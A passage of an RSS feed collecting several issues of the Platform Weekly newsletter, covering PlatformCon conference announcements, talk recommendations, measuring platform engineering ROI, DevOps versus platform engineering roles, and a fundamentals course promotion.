approved).\nThe uncomfortable truth is that this AI reality is now upon us. As platform engineers, we can either drive this change and be the innovators who shape how our organizations harness AI, or we risk being seen as the laggards who slow down progress and prevent our teams from moving forward. The moment is here for you to choose: what kind of developer experience do you want to build? Will you lead the transformation, or let decisions be made for you?\nIf you\u2019re curious about Ona, me and the other creators will be doing some demos at PlatformCon in London & New York (and giving away 3D printers and Steam Decks). See you in London on 25th June (Booth #12) or in NYC on 26th June (Booth #9).]]>\n  \n  Thu, 14 Aug 2025 00:00:00 GMT\n\n\n  5 must-see talks at PlatformCon this year\n  https://platformweekly.com/issues/5-must-see-talks-at-platformcon-this-year\n  https://platformweekly.com/issues/5-must-see-talks-at-platformcon-this-year\n  \n  \nHey there! This is platform weekly, your weekly swim in the fountain of platform engineering knowledge. Every week, we take a look at another area of the platform engineering universe.\n5 must-see talks at PlatformCon this year\nWe have just announced the 150+ speakers and talks that will be at PlatformCon 2024 this year. And the level of quality is actually insane. You\u2019ve got to check it out.\nFrom events like KubeCon, AWS Summit, Google Cloud Next, and throughout social and the slack, it\u2019s super clear that the platform engineering community is growing more and more advanced every day. There is no better example of this than PlatformCon 2024 this year.\nDon\u2019t believe me? These are just 5 of the talks we\u2019ve got coming. There are dozens more just like them\ud83d\udd25\n\n\nPlatforms = (Architecture + DDD + Automation) x Wholesale with platform master Gregor Hohpe\n\n\nIs platform engineering only about IDPs? Think again with Atulpriya Sharma, and Vishal Biyani\n\n\nHarmony in engineering platforms: A decision tree symphony for Orchestrator selection with Ajay Chankramath\n\n\nEverything is code: Embracing GitOps at Spotify with Tim Hansen\n\n\nMaturing your platform engineering initiative with Nicki Watt\nWhether you\u2019re into AI, security, open source, observability - there is something awesome in there for you. Go check it out.\nQuick bites\nArticles of the week:\n\n\nThis Is Why Infra Teams Should Care About Platform Engineering\nFrom the community:\n\n\nCome join me in my webinar \u201cPlatform Orchestrator: The platform engineering game changer\u201d on Tuesday!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  The world\u2019s biggest Platform Engineering event  just launched\n  https://platformweekly.com/issues/the-worlds-biggest-platform-engineering-event-just-launched\n  https://platformweekly.com/issues/the-worlds-biggest-platform-engineering-event-just-launched\n  \n  \nHey there! This is Platform Weekly, your platform engineering sommelier. Let\u2019s get sippin\ud83c\udf77\nThe world\u2019s biggest Platform Engineering event just launched\nThis is a special week.. PlatformCon is back! And with some banger new formats.\nPlatformCon23 was by far the biggest platform engineering event of the year, with 180 speakers and over 16k attendees over 2 days. It was a true blast!\nBut we like honesty over here in the community and one thing we gotta be real about: 180 talks is too many freakin talks. So we changed things\ud83d\udc47\nPlatformCon24 will be a full week of platform engineering! We will release the 90 talks we will select from 800+ (!!) submissions across 3 days, to give everyone enough time to watch them and discuss them with the speakers. Quality over quantity baby.\nWe are also launching a brand new format, with a dedicated Open Source Day with presentations and hands-on labs to code your platforms live!\nIn person satellite events were also a huge success, so we are doubling down on them this year. Stay tuned for more info on that one, but I can share now that there will be some BIG live events at PC24\u2026\nI really believe this will be the best PlatformCon to date, hope you are feeling the excitement jumping out of your inbox and into your xmas sweater.\nSo stay tuned, as we\u2019ll be announcing more PC24 details soon, including speakers, exact agenda, live events locations, etc. so make sure to register now!\nAnd btw, we are doing an early bird special this year.. The first 1k registrations will get the chance to join an exclusive virtual event hosted by platform engineering superstar Gregor Hohpe!\nAnd yes PC24 is still 100% free. What are you waiting for?!\nMerry xmas. Stay crunchy.\nQuick bites\nNothing like a little bit of Jack Torrance in some Platform nerds\u2026. \nArticles that blew me away: \n\n\nAn article from an old friend: DevOps: Don't destroy silos, transform them\n\nLinkedin open-sourced the LinkedIn Developer Productivity & Happiness Framework (DPH Framework): Practical Magic: Improving Productivity and Happiness for Software Development Teams\nFrom the community:\n\n\nWho is still skeptical about IDPs? ]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  3 Characteristics Of Functional Platforms\n  https://platformweekly.com/issues/3-characteristics-of-functional-platforms\n  https://platformweekly.com/issues/3-characteristics-of-functional-platforms\n  \n  \nHey there!\nThe call for proposals for PlatformCon 2023 is about to close! Submit your talkand share your insights and stories with the community. Need some inspiration? This week, we\u2019re recapping Cloud Strategy author Gregor Hohpe\u2019s PlatformCon 2022 keynote.\nLet\u2019s get bakin\u2019\n3 characteristics of functional platforms\nOrganizations with successful platform engineering initiatives benefit from reduced complexity and cognitive load. Unfortunately, building successful platforms is no simple task. How do you know if you\u2019re on the right track? According to Gregor Hohpe, good platforms share these common characteristics:\n1\ufe0f\u20e3 Low friction. You can\u2019t force anyone to use your platform. Your users will find ways around it if you try. You can encourage ensure adoption your platform by prioritizing a frictionless user experience.\n2\ufe0f\u20e3 Transparency. Platforms aren\u2019t supposed to be black boxes. Your users should have enough insight into what\u2019s happening underneath the surface to appropriately diagnose problems. \n3\ufe0f\u20e3 Standardization. Platforms help enforce standards, which enable developers to be creative where it really matters. For example, http is a standard that allows any web browser to connect to any web server. A4 paper is also highly standardized, but one can still use it to draw or paint, tear it apart or tape some together to change the size of the canvas, or fold it to make an origami crane. \nHow do you build a platform with low friction, transparency, and standardization? Take a platform as a product approach and evolve the platform over time. \nWatch the full talk here.\n\u200d\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Sam Newman weighs in on the rise of the platform team:\n\u201cWe want our Platform Team to be about outcomes - but we are hamstringing them from the beginning by calling the Platform Team in the first place, and worse could follow by codifying \"Platform Engineering\" as a thing.\u201d\n\ud83e\udd50 Build or buy? Christopher Hedley, VP of of Engineering at Syntasso, weighs in:\n\u201cTaking high-level PaaS or SaaS-like platform solutions might buy you productivity gains, but efforts to bend their opinionated workflows to match the will of your organisation often result in frustration or failure. Often you end up changing to meet the needs of the tool rather than the other way around.\u201d\n\ud83e\udd50 In his latest blog on Medium, ManoMano\u2019s platform engineering manager Clement Hussenot-Desenonges dives into common platform engineering fails and how to avoid them.\n\ud83e\udd50 IT practitioners shared their outlook on 2023 with The New Stack. I\u2019m not surprised to see that platform engineering was a \ud83d\udd25 topic: \n\u201cThe trend toward platform engineering and product teams created a lot of independent teams working on their individual missions; it also created the challenge of figuring out how to align teams to a unified company vision. I am a big fan of the product team model, but I hope for 2023 to find that holy grail of combining the independence and speed of product teams with the necessary alignment to move in the same direction.\u201d\n\ud83e\udd50 \nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are some highlights from the community: \n\n\nI need to use AWS and a GitHub App to build a CI/CD solution for a customer who has multiple GitHub organizations\n\nExperience implementing load balancing solution for RabbitMQ or Redis cluster using Nginx or HAProxy\n\nIf you were to build an enterprise from scratch within a platform ecosystem (IDP, developer portal, APIs, etc), what framework would you use to manage dependencies and collaborations across the enterprise?\n\nBuilding an IDP that relies on APIs for users to consume services and capabilities provided by the platform\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 16 Mar 2023 00:00:00 GMT\n\n\n  PlatformCon - The Platform engineering conference\n  https://platformweekly.com/issues/platformcon-the-platform-engineering-conference\n  https://platformweekly.com/issues/platformcon-the-platform-engineering-conference\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly rocket into the wide open universe of platform engineering. I am extremely excited about this week's newsletter.\nPlatformCon is back\nThe world\u2019s largest platform engineering conference is back baby\ud83c\udf89\ud83d\ude80\nPlatformCon 2025 is taking place from 23rd - 27th June 2025!\nAnd this time we\u2019re going full force into everything that made last year so special. More connection, more learning, and more time getting our hands dirty. This year's theme is all about building.\nWhat do I mean by that?\nFirst, we have the classic virtual 150+ talks from every big name in platform engineering. How else could we keep being the one-stop shop for the PE universe?\nSecond, we\u2019re tripling down on hands-on platform engineering workshops. Last year, over 1,500 people started designing their MVP at workshops at PC24.\nThird, the thing I am most proud of and most excited about. There will be not one but TWO PlatformCon Live Days - in London and New York. There are early bird tickets available right now.\nThis year with an even greater focus on learning. That means more workshops, live trainings (e.g the fundamentals of platform engineering, best practices), and opportunity to build, all at our Live Days!\nThat also means there is way more space for awesome talks and workshops from all of you!\nI can\u2019t wait! See you there.]]>\n  \n  Thu, 12 Dec 2024 00:00:00 GMT\n\n\n  Measuring the ROI of platform engineering investments\n  https://platformweekly.com/issues/measuring-the-roi-of-platform-engineering-investments\n  https://platformweekly.com/issues/measuring-the-roi-of-platform-engineering-investments\n  \n  \nWe all know the platform isn't just a cost center\u2026 It's a rocket ship. But here\u2019s the problem. Everyone wants ROI, yet nobody is measuring it the same way, leading to chaos, fear, and poorly planned and executed platform engineering initiatives.\nBuckle up. Because this is the longest read in Platform Weekly history.\nThe ROI reality check\nMeasuring platform engineering can be hard. Traditional productivity metrics like lines of code, story points, and commit counts fundamentally misrepresent the systemic improvements platforms create, and in the AI era are basically meaningless. The core problem is that platform engineering as a whole often creates indirect value through your org (which is hard to fully quantify). \nThis means that most platforms fail to demonstrate value. Or they are simply crippled by low adoption and a bad platform scope. If you build it, and no one uses it, your ROI remains zero.\nIn the last few weeks, 3 excellent articles have been published on the topic of ROI in platform engineering. I will be breaking down their lessons here.\n\n\nMeasuring the ROI of platform engineering investments by Ajay Chankramath, Rahib Amin, and Vikas Bijavara\n\nPlatform ROI showcase: How \u20ac2M+ emerged from one platform shift by Michael Wolbert\n\nHow to measure developer productivity and platform ROI: A complete framework for platform engineers by Sam Barlien\nI would recommend that you read all three of these articles to understand how top orgs are approaching measuring ROI.\nThe short version:\nMeasuring platform engineering ROI requires baselining engineering waste, quantifying time lost in pipelines, toil, and feedback loops, and translating these into financial terms. Most teams don\u2019t measure impact, which hides massive productivity losses. The Platformetrics ROI model provides a structured way to calculate savings across flow efficiency, DevEx, and automation. Real-world cases show that even small improvements like cutting pipeline time or reload latency can generate millions in annual savings from even small investments. \nAnd of course\u2026 100% of high-performing platform engineering teams treat the platform as a product, and align improvements directly to business outcomes.\nThe long version:\nWe can split ROI up into multiple layers\nFoundational ROI: reducing toil, improving flow, standardizing environments, and accelerating deployments.Product ROI: reducing time-to-market and enabling faster product delivery.Attributional ROI: benefits enabled by AI, automation, and other technologies that depend on a strong platform.Strategic ROI: long-term competitive advantage driven by stronger platform capabilities.DevEx ROI: improved developer satisfaction, retention, and collaboration.\nTo quantify ROI through these layers, the Platformetrics ROI Model, uses inputs such as team size, average salary, hours of manual toil, deployment frequency, and technical debt. It then combines these with formulas to calculate outputs like total engineering cost, annual productivity loss, AI opportunity, and the efficiency gap.\nFor example, if we take the case study from Michael\u2019s article. Developers were stuck in 20-minute pipeline cycles and 20-second+ local reloads. With 200 reloads a day, the wasted time compounded massively both from just pure lost time, but also from context switching, and half-finished features.\nMichael\u2019s team treated the platform shift as an MVP, starting from a fragmented frontend setup with skeptical engineers. Using Nx they built a flexible baseline and, within 8-10 weeks, onboarded three apps with minimal effort. Organic adoption came naturally since the \u201cgolden path\u201d made life way easier, with zero downside.\nThe total investment was about \u20ac200K all-in, covering migration effort and platform licensing.50 developers onboarded =\n\n\n200 reloads per dev per day\n\nReloads sped up by 10-15 seconds\n\nAnnual savings: \u20ac540K-\u20ac1.08M from reloads alone\n\nPipeline runs cut from 20 \u2192 8 minutes 5 times a day\n\nAnnual savings: \u20ac900K-\u20ac1.2M from pipelines\nCombined annual savings reached \u20ac1.5M-\u20ac2.5M, with a payback period of less than a month, even being humble. And this only reflected the first 50 developers. \nImagine what the ROI would be if this scenario played out with all your devs.\nSo, what is the lesson here? Just replicate exactly what Michael did? Well\u2026 probably not. It\u2019s unlikely this exact use case is relevant to you. But you can replicate the process, both of how Michael approached platform improvements, and how using the Platformetrics model, you can quantify value.\nYou might already have things you\u2019ve done that if you quantified them in this way help you prove the value of your efforts. If not, take this away from these pieces:\n\n\nIdentify 1 specific high-value use case. Not something vague like \u201cDev productivity\u201d something specific like time waiting for an ephemeral environment, responding to false positives from scanning for CVEs, etc. \n\nMeasure a neutral starting point of how much time is spent waiting on these things.\n\nTranslate time lost into $ using team size, average salary, and frequency of the activity.\nUnderstand that even rough, conservative calculations are enough to prove ROI quickly and shift executive perception from \u201cplatform cost\u201d to \u201cplatform value.\u201d\nEspecially if you put them on a shiny slide with bright colours. Do that, and execs will give your platforms all the money you want.\nP.S. How do you like these long ones? Reply to luca@platformweekly.org and let me know! Maybe we\u2019ll do some more.]]>\n  \n  Mon, 24 Nov 2025 00:00:00 GMT\n\n\n  State of Platform Engineering 2024\n  https://platformweekly.com/issues/state-of-platform-engineering-2024\n  https://platformweekly.com/issues/state-of-platform-engineering-2024\n  \n  \nHey there! Welcome to Platform Weekly, your weekly commit into the platform engineering trunk. Every week on Friday, we talk about all things platform engineering sharing best practices, lessons, and news from the community.\nAnswer the State of Platform Engineering 2024 survey\n\u200d\nIt\u2019s that time of year again. Answer the State of Platform Engineering 2024 survey!\nThere are two things I am most proud of from this awesome community. It\u2019s the full-suite platform engineering fundamentals course we launched just a month ago, and it\u2019s our state of platform engineering survey.\nThe data from our State of Platform Engineering survey is the #1 source for the industry of where we are, how things have changed, and where we\u2019re going. It gets sourced everywhere, and the whitepaper I wrote referring to the data was downloaded over 25k times\u2026\nThis year, as a testament to how much more advanced Platform Engineering is these days, we\u2019ve split the survey in two. The platform engineering survey, and the salary survey.\nOne for all practitioners whether DevOps, SRE, Platform Engineers etc, and one for platform teams specifically.\nThis data is where the industry gets a sense of everything from basic definitions of what platform engineering means, and what platform engineers actually do, to ofc the juiciest questions like AI usage and current salaries.\nIt tracks the year-over-year changes in the size of the industry, but also in what the discipline itself entails.\nAnd this year it focuses heavily on understanding where we all sit on the platform engineering maturity model.\nSo, want to help the community and industry better understand how platform engineering has changed in the last year?\nAnswer the survey! ]]>\n  \n  Wed, 02 Oct 2024 00:00:00 GMT\n\n\n  Do Platform Engineers require the same skills as DevOps Engineers? \u2692\ufe0f\n  https://platformweekly.com/issues/do-platform-engineers-require-the-same-skills-as-devops-engineers\n  https://platformweekly.com/issues/do-platform-engineers-require-the-same-skills-as-devops-engineers\n  \n  \nThe more I talk to people from platform world, the more I see a great confusion wandering around Platform Engineers and DevOps engineers. This time I dive into the skills \u2692\ufe0f required for both parties.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nDo Platform Engineers require the same skills as DevOps Engineers?\nThis was the question posed by a recent Reddit thread I ran across. Unsurprisingly to me, it received a lot of different answers.\nOne user commented: \u201cIt\u2019s all the same sh*t, titles don\u2019t matter just what the responsibilities are and pay.\u201d Another responded: \u201cPlatform engineers work on a higher layer than DevOps, building internal tools for developer consumption and layering things so that devs can focus on shipping products.\u201d\nYet another user chimed in with a longer answer: \u201cDevOps is\u2026 usually just a new name for regular operations. \u2026 Platform is \u2026 what DevOps (the idea) should be, build/manage a platform that enables developers to do their job, and remove as many obstacles as possible to make people as autonomous and fast-moving as possible.\u201d\nThree different answers to one seemingly simple question. So what gives?\nI think the problem is with the definition of DevOps. Namely that there are so many definitions the term has been rendered inoperable, especially in the context of job titles. If you\u2019re like me, you believe that DevOps was supposed to be a culture and not a job title. But if you\u2019re a DevOps Engineer you might disagree (and understandably so).\nIn his PlatformCon keynote, Nigel Kersten commented: \u201cThese days, DevOps engineer is about the most useless job title I could possibly imagine. You could be running CI/CD, you could be a cultural consultant, you could be \u2026 running different projects\u2026 It could be anything.\u201d\nSo the answer to the original question seems to be \u201cit depends.\u201d It depends on what responsibilities you assume DevOps Engineers have. And there seems to be a wide enough variation that any one assumption is likely incorrect a good amount of the time.\nIf there\u2019s any lesson to be learned here, it is that, as Nigel Kersten pointed out in the same keynote, platform engineering needs a prescriptive model to avoid this same pitfall.\nBut what do you think? Let me know @luca_cloud on Twitter.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Here's how you can use platform engineering to implement DevOps workflows with Kubernetes.\n\ud83e\udd50 Another hot take in the DevOps vs platform engineering debate \ud83d\udc47\n\ud83e\udd50 What's the difference between platform product management and platform engineering? Forrester shares one perspective.\n\ud83e\udd50 The newest Always an Engineer Podcast \ud83c\udf99\ufe0f episode breaks down differences among engineering roles: platform, site reliability, development operations (DevOps), and application. Tune in\ud83d\udc47\n\ud83e\udd50 Well... \ud83d\ude48\ud83d\udc47\n\ud83e\udd50 Have you joined the Platform Engineering Slack channel? If not, you're missing out. Here are this week's highlights:\n\n\nOn ownership while breaking up a monolith into microservices\n\nOn organizing your terraform workbase\n\nDevOps and Platform Eng Tasks\n\nA poll: What capabilities in a DevOps Automation platform are key to successful Kubernetes implementation?\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nCya next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Here's What You Missed At PlatformCon 2023\n  https://platformweekly.com/issues/heres-what-you-missed-at-platformcon-2023\n  https://platformweekly.com/issues/heres-what-you-missed-at-platformcon-2023\n  \n  \n\ud83e\udd50 This is Platform Weekly. We\u2019re a not regular cloud-native newsletter. We\u2019re a cool cloud-native newsletter. Let's get bakin'\nCongrats to our PlatformCon survey raffle winners! \ud83c\udf89 Thanks for sharing your feedback to the community! Your participation makes our conference better.\n\n\nRyan Marks\n\nMat Horner\n\nTom Gaeb\n\nMallory Mullan\n\nGuillaume Jacobs\nReach out to karolina@platformcon.com to claim your free merch. \u2709\ufe0f\nHighlights from PlatformCon 2023\nICYMI, here are the top 5 talks from PlatformCon you won\u2019t want to miss.\n1\ufe0f\u20e3 Gregor Hohpe | Build abstractions, not illusions\nLet\u2019s be honest, the tech we have today is amazing but it can also be complex. So, it\u2019s only natural that the platforms we build want to hide that complexity in order to improve productivity, avoid mistakes, and reduce cognitive load. \nSo, the more complexity we can hide, the better our platform? Actually, no. We need to be careful that we create useful abstractions, not dangerous illusions. This talk reflects on two decades of building complex distributed systems, highlighting where abstractions helped and where illusions led to major disappointments.\n2\ufe0f\u20e3 Mike Gatto and Stephan Schneider | Platform as Code: Simplifying developer platform design with reference architectures\nReducing the cognitive and operational load on software developers is the key to increasing product innovation and velocity. With that in mind,  in this talk we showcase how to separate the application code from orchestration and operations concerns without breaking the DevOps model. We built cloud-native reference architectures for Internal Developer Platforms that allow operations teams to define and manage how and where workloads are deployed and within which guardrails, while still enabling developer freedom via abstraction and self-service.\nFollowing our reference architectures you can:\n\n\nRemove some of the stressors from product and platform teams that limit developer experience and productivity \n\nEnable platform teams to drive standardization and ensure security and compliance is baked into all components\n\nRemove cognitive load and frees up time of software developers to do what they do best: writing code that solves customer problems\n3\ufe0f\u20e3 Nicki Watt | Why is it so hard to create a great Platform-as-a-Product?\nSo you've heard that you should be applying product thinking, and treating the platform as-a-product when embarking on a new platform initiative. This is great, however, for many this seems much harder to do in practice than in theory! This talk explores some of the reasons behind this. We look at what the stumbling blocks are which tend to trip people and organisations up the most, as well as what can be done to counteract this where possible.\nYou will learn the following from this talk:\n\n\nWhy is it important to apply product thinking and treat the platform as-a-product when embarking on a new platform engineering initiative\n\nWhat stumbling blocks could you run into trying to do this\n\nHow can you get around, or counteract some of these stumbling blocks\n4\ufe0f\u20e3 Charity Majors | The future of Ops is platform engineering\nGeneralist infrastructure jobs are disappearing, and infra engineers should choose between either building infra as a service, or becoming a platform engineer and using their expertise to help companies use as *little* infrastructure as possible.\nPlatform engineering teams are very different from SRE and DevOps teams. Not necessarily in skill set, but in orientation. Platform engineering teams are responsible for developer velocity, not stability and uptime. While developers are responsible for their OWN stability and uptime.\nVendor engineering may not sound hot, but it's one of the most powerful, highly leveraged roles any engineer can perform.\n5\ufe0f\u20e3 Maunel Pais | Beyond engineering: The future of platforms\nTraditionally teams and groups are incentivized for outputs, so the more cycles you can run and the faster you can close requests the better. We end up optimizing internal processes at the cost of company outcomes. I posit that, ultimately, this happens because teams don\u2019t see each other as customers. You might be thinking \u201cBut they\u2019re not our customers, they\u2019re our colleagues!\u201d. Also true. This talk will explore how every team and every division in an organization can adopt a platform mindset, in which they treat what they offer to other teams as an internal product.\nLet us know how you liked PlatformCon 2023! Share your feedback with the event organizers with this quick survey.\nShare | Tweet | Forward\n\u200dShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Having trouble staying in touch with your mom? AI might be able to help.\n\ud83e\udd50 Take this short platform maturity score test to see how your organization aligns with established best practices.\n\ud83e\udd50 Here\u2019s how Ivan Velichko built his own learning-by-doing platform for Docker and Kubernetes.\n\ud83e\udd50 Some pros and cons of running Kubernetes on bare metal.\nWant more Platform Engineering and DevOps news, analysis, and resources? Consider signing up for a newsletter from our friends over at The New Stack. They have daily and weekly newsletter options to keep devs, engineers, and the cloud native community in-the-know.\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Thu, 22 Jun 2023 00:00:00 GMT\n\n\n  6 keys to human-centric software development\n  https://platformweekly.com/issues/6-keys-to-human-centric-software-development\n  https://platformweekly.com/issues/6-keys-to-human-centric-software-development\n  \n  \n\ud83e\udd50 Hey there! It\u2019s Platform Weekly\u2026 We\u2019re the Keanu Reeves of DevOps newsletters: action-packed and relatable with a track record of being awesome. \n6 keys to human-centric software development\nDev Interrupted\n\u201cTreating devs like human beings\u201d seems like it should be obvious, but if you look at our industry, you might not be able to tell.\nWe need to stop:\n* Measuring devs on lines of code\n* Expecting engineers to act like automatons\n* Practices that sacrifice developer happiness for short-term delivery\nDev Interrupted spoke with 3 experts in making the transition from churn and burn software development to human-centric development. Here are 6 takeaways from their conversation with Kelly Vaughn, Director of Engineering at Spot AI, Engineering Leadership Coach Lena Reinhard and VP of Engineering at Range, Jean Hsu.\n1\ufe0f\u20e3 Humanize Interviews\nDevs are knowledge workers, not robots. Kelly shared her view on one of the roots of this problem: engineers shouldn\u2019t be required to code as part of the interview process. \n2\ufe0f\u20e3 API for Humans\nPeople moving into leadership and management roles are not trained to communicate and figure out, \u201cHey, what\u2019s important to this other human?\u201d Jean recalled one communication workshop where a person shared the takeaway \u201cI feel like I just learned an API for humans.\u201d\n3\ufe0f\u20e3 Can a Dev Manager Be Non-Technical?\nDo developers need to be led by managers with technical skills? From Lena\u2019s experience, many great engineering managers haven\u2019t been superb developers and likely never will.\n4\ufe0f\u20e3 Bring Your Full Self to Work\nOne-on-ones don\u2019t need to be a place to give performance advice. Kelly, Lena, and Jean all felt that one-on-ones were a powerful tool for leaders to break through the dehumanizing barriers of software development as a production line. \n5\ufe0f\u20e3 Metrics\nMetrics shouldn\u2019t just track information, they should give people something to look forward to. We all want to be doing work we can be proud of, and we can use metrics to improve productivity without sacrificing developer experience. \n6\ufe0f\u20e3 Burnout\nAnother crucial challenge that stops people from doing their best work is burnout.  Acknowledging the elephants in the room is crucial as a leader; everything can\u2019t always be rosy, and your team wants to feel seen in the challenges you share.\nListen to the full conversation here.\nShare | Tweet | Forward\n\u200dShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Is AI the answer to developers\u2019 documentation problem?\n\ud83e\udd50 Speaking of AI, please don\u2019t use GPT for security guidance.\n\ud83e\udd50 Here\u2019s why successful platform teams need a product manager.\n\ud83e\udd50 PlatformCon is just around the corner. Don\u2019t miss out on the biggest platform engineering event of the year!\nHave you joined the Platform Engineering Slack channel? If not, you're missing out. Here are the highlights from this week:\n\n\nHere are some symptoms that you\u2019re missing an Internal Developer Platform.\n\nAre CLIs really necessary?\n\nDo we have tools/platforms that work well with Generative AI?\nAnd that\u2019s a wrap on this week! As always, this newsletter is a community project. So if you have anything awesome to share from the cloud-native world, send it our way.\nStay crunchy \ud83e\udd50\nLuca\n\u200d]]>\n  \n  Mon, 05 Jun 2023 00:00:00 GMT\n\n\n  DevOps, SRE, or Platform Engineering?\n  https://platformweekly.com/issues/devops-sre-or-platform-engineering\n  https://platformweekly.com/issues/devops-sre-or-platform-engineering\n  \n  \nChoose your fighter: DevOps, SRE, or Platform Engineering \ud83d\ude08\nLet\u2019s get bakin\u2019 \ud83e\udd50\nDevOps vs SRE vs Platform Engineering\n\u201cWhy does platform engineering exist when DevOps and SRE are basically the same thing?\u201d\nIt\u2019s a harsh question, but it\u2019s also fair. The differences between the disciplines are pretty subtle, but they\u2019re also what make platform engineering so important.\nLet\u2019s start with DevOps. DevOps culture was kickstarted in 2006 by Werner Vogels famous declaration: \u201cYou build it, you run it!\u201d This worked well for some organizations, but others struggled to implement the cultural shift well. What resulted was cognitive overload on developers and a whole host of other nasty antipatterns.\nWhat about SRE? SRE was advertised by Google as something every organization could aspire to. And, like with DevOps, while there was nothing wrong with SRE in theory, poor implementation plagued a lot of organizations. In these organizations, the SRE role became very restrictive and reminiscent of the pre-DevOps operations bottleneck.\nThis is where platform engineering comes in. It uses a product approach to leverage the strengths of DevOps and SRE. Like DevOps, platform engineering enables developer self-service. Like SRE, it reduces errors and increases reliability. Platform engineering also finds the right level of abstraction to reduce cognitive load on developers, improving the efficiency of the organization.\nThe platform as product approach involves conducting user research, collecting regular feedback, creating a product roadmap, and marketing the platform internally. It is what sets platform engineering apart from DevOps and SRE. Platform as a product ensures that platform teams are focusing on the right problems and delivering the right features.\nLike the disciplines that came before it, platform engineering can also be done badly. But that\u2019s why this community \u2013 and this newsletter! \u2013 exist: to empower you to build platforms well. And we\u2019re happy to have you here.\nYou can check out the full article here. Or dive into my latest thread, linked below.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\n\ud83e\udd50 Tim Osborne explored the idea of a fully remote, cloud-based option for building a development environment. He wrapped up his findings in a short (and insightful) article.\n\ud83e\udd50 How powerful are IaC and GitOps when used together? According to Cliff Malmborg, the combination creates a strong e2e solution for balancing automation in development pipeline.\n\ud83e\udd50 A few months ago, we ran a Platform Engineering salary survey. Now it's time to share the results! We hope you'll find them useful when negotiating for a salary \ud83d\udcc8 \ud83d\ude09\ud83d\udc47\n\ud83e\udd50 Here are 18 ways complex systems fail. Super useful resource for handling failure management.\n\ud83e\udd50 Memes are out, funny videos are in. Definitely check out this YouTube channel.\nThat's a wrap on #7. Share the platform love by forwarding this email to a few friends \ud83e\udd17\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nUntil next week!\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Build your platform right\n  https://platformweekly.com/issues/build-your-platform-right\n  https://platformweekly.com/issues/build-your-platform-right\n  \n  \nHey there! Welcome to Platform Weekly issue 100.\nIt\u2019s been 100 weeks of platform weekly. I can\u2019t believe it. It\u2019s time for our 100th weekly dive into the Olympic-sized platform engineering pool. Every week we explore another area of the platform engineering universe, talking about best practices, lessons, news, ideas, and all-around platformy goodness.\nBTW - You\u2019ve still got 12 hours to use the code PW30 and get a 30% discount on the first-ever official Platform Engineering Fundamentals course. Seats are filling up very fast - so don\u2019t miss it.\nBuild your platform right\n\u200d\nTo celebrate 100 weeks of Platform Weekly, I want to talk about my favorite topic. Platform backends.\nWe\u2019ve been talking a lot in the community lately about the need to focus on the backend of your platform first to get the true value of platform engineering. You probably know by now that slapping a developer portal on top of your existing setup and just focusing on the frontend of your platform won\u2019t get you far.\nYou need to get to the guts of your Internal Developer Platform, design clear golden paths for developers to consume application configurations, and interact with the underlying infrastructure the right way.\nJust because platform engineering is still a young discipline, it doesn\u2019t mean that established architectural and design principles don\u2019t apply. Building your IDP is like building a regular application and you should start from the backend. That\u2019s where the core logic is implemented and the golden paths for your developers are designed.\nBut are all backends the same? Of course not. There are two dominant ways to approach platform backends\nPipeline-based \ud83d\udc49\ud83c\udffbthis is what most teams are familiar with, a CI/CD pipeline plus some Terraform or other IaC tooling. These systems are designed to handle environment progression logic: IF this THEN move to the next step. They are not great at handling more complex logic, however.\nPlatform teams that misuse pipelines to handle more complex logic end up with pipelines nested into one another. And you are back at square 1 with a setup that\u2019s very hard to maintain and scale and delivers none of the results that you had hoped for when starting your platform initiative. Not to mention your devs are still overwhelmed by the amount of scripts and config files they need to touch to deploy.\n\u200d\n\u200d\nGraph-based \ud83d\udc49\ud83c\udffba.k.a. Platform Orchestrators on the other hand are designed to handle any level of complexity (e.g recursive intra-resource dependencies), while shielding developers from the underlying complexity.\nDevs don\u2019t need to worry about any implementation details, they simply request the infra they need and the orchestrator supplies it following the golden paths designed by the platform team. Though a Graph-based backend might not make sense for a team with less than 100 devs, the power of platform engineering comes from its ability to deliver insane value at scale. And that is where a graph-based backend becomes mandatory.\n\u200d\nIf you\u2019re a small organization, a pipeline approach might work great for you. But if you really want to get the benefits of platform engineering and deliver the business results you\u2019re hoping for (and have probably promised you\u2019d deliver) then you need a graph-based backend.\nP.S. Haven\u2019t answered the State of Platform Engineering 2024 surveys yet?\n\n\nState of Platform Engineering 2024 Survey\n\n2024 Platform Engineer Salary Survey]]>\n  \n  Wed, 02 Oct 2024 00:00:00 GMT\n\n\n  final chance for platform engineering course\n  https://platformweekly.com/issues/final-chance-for-platform-engineering-course\n  https://platformweekly.com/issues/final-chance-for-platform-engineering-course\n  \n  \nHey there! Welcome to Platform Weekly, your weekly swim in the platform engineering fountain.\nfinal chance for platform engineering course\nWe\u2019re barely 4 days away from lesson 1 of the first-ever official platform engineering fundamentals course. And just a few spots away from needing to close registrations. I am so proud of how this course is coming together. It\u2019s going to be awesome.\nWhat\u2019s in it?\nTaking place over 8 weeks and starting August 6th at 7 pm CEST, the course includes 8 core modules + 2 guest lectures (from Manuel Pais, co-author of Platform as a Product, and Ajay Chankramath, former head of platform engineering at Thoughtworks) plus an optional additional hour a week of homework + extra learning, and a private Slack channel for discussions and Q&A.\nContentwise we\u2019ll dive into its relationship to DevOps, Platform as a Product, ensuring 